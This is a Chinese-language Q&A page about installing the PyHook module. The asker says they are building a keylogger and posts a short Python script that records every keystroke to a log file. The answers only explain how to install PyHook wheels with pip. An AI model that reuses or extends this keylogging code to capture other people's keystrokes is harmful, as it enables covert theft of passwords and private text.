如何下载PyHook modu

2024-04-29 09:23:41 发布

您现在位置:Python中文网/ 问答频道 /正文

我试图安装PyHook,但仍有错误:

ImportError: No module named 'pyhook'

请给我一个解决办法。如何解决此错误。

我正在做一个钥匙记录程序。

**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnkeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')
    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Please refer screenshot for error


Tags: noeventloglogging错误asciifilenamenamed
2条回答

第一个。如果您想要PyHook,就必须自己下载它,因为它不是python附带的标准python library的一部分。你可以用我的方法安装它。但我推荐的方法是:

1。从this页面下载PyHook。确保下载的内容与您的python版本和位号(32或64)相匹配。

2。下一步在命令提示符/终端窗口中键入:

pip install [full path and name of .whl file]

这个命令告诉pip为安装PyHook。在我的案例中,我键入:

pip install C:\pyHook-1.5.1-cp35-none-win_amd64.whl`

完成此操作后,脚本应该可以正常运行。如果使用此方法确实遇到任何问题,请检查是否安装了正确版本的python和正确的位号。

首先检查运行的是哪个python版本,在我输入python时会看到:

Python 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:40:30) [MSC v.1500 64 bit (AMD64)] on win32

这意味着我需要为Python2.7安装64位版本,最简单的方法是下载pyhook package from this website,然后将其保存在virtualenv目录(如果您正在使用)或python文件夹中。然后打开命令提示符并转到下载包的路径,然后键入pip install the_name_of_your_package.whl,例如,如果您运行的是Python2.764bits,则键入:

pip install pyHook-1.5.1-cp27-none-win_amd64.whl

一旦安装正确,脚本应该可以正常工作。

相关问题 更多 >